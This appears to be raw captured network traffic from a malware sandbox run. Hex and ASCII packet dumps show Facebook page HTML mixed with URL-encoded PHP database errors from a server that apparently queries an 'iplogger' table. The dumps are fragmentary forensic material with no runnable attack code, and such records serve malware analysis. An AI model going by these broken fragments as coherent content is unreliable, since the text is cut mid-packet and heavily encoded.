2022-10-08 09:34:27 UTC	196	IN	Data Raw: 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 Data Ascii: 136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253
2022-10-08 09:34:27 UTC	197	IN	Data Raw: 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c Data Ascii: G~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\
2022-10-08 09:34:27 UTC	199	IN	Data Raw: 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 Data Ascii: ;dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20S
2022-10-08 09:34:27 UTC	200	IN	Data Raw: 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c Data Ascii: 520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\
2022-10-08 09:34:27 UTC	202	IN	Data Raw: 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 Data Ascii: ll%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysq
2022-10-08 09:34:27 UTC	203	IN	Data Raw: 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 Data Ascii: recated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u
2022-10-08 09:34:27 UTC	205	IN	Data Raw: 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 Data Ascii: 039;\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u002
2022-10-08 09:34:27 UTC	206	IN	Data Raw: 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 Data Ascii: 3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost&#039
2022-10-08 09:34:27 UTC	207	IN	Data Raw: 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c Data Ascii: YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\
2022-10-08 09:34:27 UTC	209	IN	Data Raw: 3d 22 53 69 6d 70 6c 69 66 69 65 64 20 43 68 69 6e 65 73 65 20 28 43 68 69 6e 61 29 22 3e e4 b8 ad e6 96 87 28 e7 ae 80 e4 bd 93 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 35 31 37 69 20 5f 35 31 37 68 20 5f 35 31 73 79 22 20 72 65 6c 3d 22 64 69 61 6c 6f 67 22 20 61 6a 61 78 69 66 79 3d 22 2f 73 65 74 74 69 6e 67 73 2f 6c 61 6e 67 75 61 67 65 2f 6c 61 6e 67 75 61 67 65 2f 3f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 44 65 70 72 65 63 61 74 65 64 25 32 35 33 43 25 32 Data Ascii: ="Simplified Chinese (China)">()</a></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2F%253Cbr%2520%2F%253E%250A%253Cb%253EDeprecated%253C%2
2022-10-08 09:34:27 UTC	210	IN	Data Raw: 32 35 32 30 66 6f 72 25 32 35 32 30 75 73 65 72 25 32 35 32 30 25 32 37 64 62 6e 65 77 30 31 25 32 37 25 34 30 25 32 37 6c 6f 63 61 6c 68 6f 73 74 25 32 37 25 32 35 32 30 25 32 38 75 73 69 6e 67 25 32 35 32 30 70 61 73 73 77 6f 72 64 25 33 41 25 32 35 32 30 59 45 53 25 32 39 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 73 65 6c 65 63 74 25 32 35 32 30 69 70 6c 6f 67 67 65 72 25 32 35 32 30 66 72 6f 6d 25 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 35 32 30 77 68 65 72 65 25 32 35 32 30 6e 61 6d 65 25 33 44 25 32 37 57 59 57 44 49 47 25 37 45 31 25 32 37 25 32 35 32 30 6c 69 6d 69 74 25 32 35 32 30 30 25 32 43 31 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 Data Ascii: 2520for%2520user%2520%27dbnew01%27%40%27localhost%27%2520%28using%2520password%3A%2520YES%29%253Cbr%253E%250A%253Cbr%253Eselect%2520iplogger%2520from%2520t_channels%2520where%2520name%3D%27WYWDIG%7E1%27%2520limit%25200%2C1%253Cbr%253E%250A%253Cbr%253E%250
2022-10-08 09:34:27 UTC	212	IN	Data Raw: 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 63 75 6c 75 73 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 4f 63 75 6c 75 73 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4f 63 75 6c 75 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 46 61 63 65 62 6f 6f 6b 20 50 6f 72 74 61 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 50 6f 72 74 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 2e 70 68 Data Ascii: li><a href="https://www.oculus.com/" title="Learn more about Oculus" target="_blank">Oculus</a></li><li><a href="https://portal.facebook.com/" title="Learn more about Facebook Portal" target="_blank">Portal</a></li><li><a href="https://l.facebook.com/l.ph
2022-10-08 09:34:27 UTC	213	IN	Data Raw: 69 74 65 5f 66 6f 6f 74 65 72 22 20 74 69 74 6c 65 3d 22 43 72 65 61 74 65 20 61 20 70 61 67 65 22 3e 43 72 65 61 74 65 20 50 61 67 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 3f 72 65 66 3d 70 66 22 20 74 69 74 6c 65 3d 22 44 65 76 65 6c 6f 70 20 6f 6e 20 6f 75 72 20 70 6c 61 74 66 6f 72 6d 2e 22 3e 44 65 76 65 6c 6f 70 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 63 61 72 65 65 72 73 2f 3f 72 65 66 3d 70 66 22 20 74 69 74 6c 65 3d 22 4d 61 6b 65 20 79 6f 75 72 20 6e 65 78 74 20 63 61 72 65 65 72 20 6d 6f 76 65 20 74 6f 20 6f 75 72 20 61 77 65 73 6f 6d 65 20 63 6f 6d 70 61 6e 79 2e 22 3e 43 61 72 65 65 Data Ascii: ite_footer" title="Create a page">Create Page</a></li><li><a href="https://developers.facebook.com/?ref=pf" title="Develop on our platform.">Developers</a></li><li><a href="/careers/?ref=pf" title="Make your next career move to our awesome company.">Caree
2022-10-08 09:34:27 UTC	215	IN	Data Raw: 63 3d 33 2e 32 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 2f 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 62 78 44 61 74 61 22 3a 7b 22 38 37 35 32 33 31 22 3a 7b 22 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 79 44 5c 2f 72 5c 2f 64 34 5a 49 56 58 2d 35 43 2d 62 2e 69 63 6f 22 7d 7d 2c 22 Data Ascii: c=3.2" width="0" height="0" style="display:none" /></span></div><div style="display:none"></div><script>requireLazy(["HasteSupportData"],function(m){m.handle({"bxData":{"875231":{"uri":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/yD\/r\/d4ZIVX-5C-b.ico"}},"
2022-10-08 09:34:27 UTC	216	IN	Data Raw: 49 6b 4f 56 31 45 75 75 4d 22 7d 2c 22 31 34 30 31 30 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 61 65 74 4e 35 47 62 33 72 65 49 58 56 71 58 49 22 7d 2c 22 31 34 38 35 30 35 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6c 6b 47 78 6d 68 66 72 56 4b 6c 63 6e 36 6e 73 22 7d 2c 22 31 35 39 36 30 36 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 4a 48 75 44 57 74 61 4f 71 52 75 42 55 64 73 6b 22 7d 2c 22 31 35 39 37 36 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 37 38 47 34 66 44 58 68 6c 6e 4d 6c 37 6f 5f 64 38 22 7d 2c 22 31 36 34 37 32 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 Data Ascii: IkOV1EuuM"},"1401060":{"result":true,"hash":"AT5aetN5Gb3reIXVqXI"},"1485055":{"result":true,"hash":"AT5lkGxmhfrVKlcn6ns"},"1596063":{"result":false,"hash":"AT7JHuDWtaOqRuBUdsk"},"1597642":{"result":true,"hash":"AT78G4fDXhlnMl7o_d8"},"1647260":{"result":fa
2022-10-08 09:34:27 UTC	217	IN	Data Raw: 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 32 6c 72 47 41 57 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 57 32 34 5c 2f 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 73 74 6d 4b 66 32 6e 4d 78 73 47 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 47 74 32 6d 78 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6e 5c 2f 72 5c 2f 47 32 6d 61 49 71 32 6b 57 43 56 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 Data Ascii: lg5Kz","nc":1},"x2lrGAW":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijW24\/yl\/l\/en_US\/stmKf2nMxsG.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"vGt2mxz":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/G2maIq2kWCV.js?_nc_x=I
2022-10-08 09:34:27 UTC	219	IN	Data Raw: 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 32 5c 2f 6d 61 51 5c 2f 51 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 7a 5c 2f 72 5c 2f 68 49 45 65 4f 51 39 4c 37 32 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 6f 35 59 76 4f 32 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 45 53 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 5a 71 36 61 5f Data Ascii: s?_nc_x=Ij3Wp8lg5Kz","nc":1},"2\/maQ\/Q":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yz\/r\/hIEeOQ9L72b.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/o5YvO2":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iqES4\/yr\/l\/en_US\/Zq6a_
2022-10-08 09:34:27 UTC	220	IN	Data Raw: 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 56 41 76 7a 75 32 6f 38 64 69 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 4d 44 30 34 37 63 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 45 5f 67 34 5c 2f 79 59 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 35 68 4c 49 62 42 57 47 76 4d 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 34 33 66 32 4c 2b 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 Data Ascii: yl\/l\/en_US\/VAvzu2o8di6.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"xMD047c":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iE_g4\/yY\/l\/en_US\/5hLIbBWGvM8.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"43f2L+6":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rs
2022-10-08 09:34:27 UTC	222	IN	Data Raw: 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6d 5c 2f 72 5c 2f 54 31 6a 64 43 4d 6d 52 6f 6a 76 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6b 77 6a 56 4e 70 58 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 68 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4f 69 35 45 48 6e 65 76 30 4a 74 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 44 31 5c 2f 4a 54 6d 54 22 3a 7b 22 74 79 70 65 22 Data Ascii: ,"src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/ym\/r\/T1jdCMmRojv.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"kwjVNpX":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yh\/l\/0,cross\/Oi5EHnev0Jt.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"D1\/JTmT":{"type"
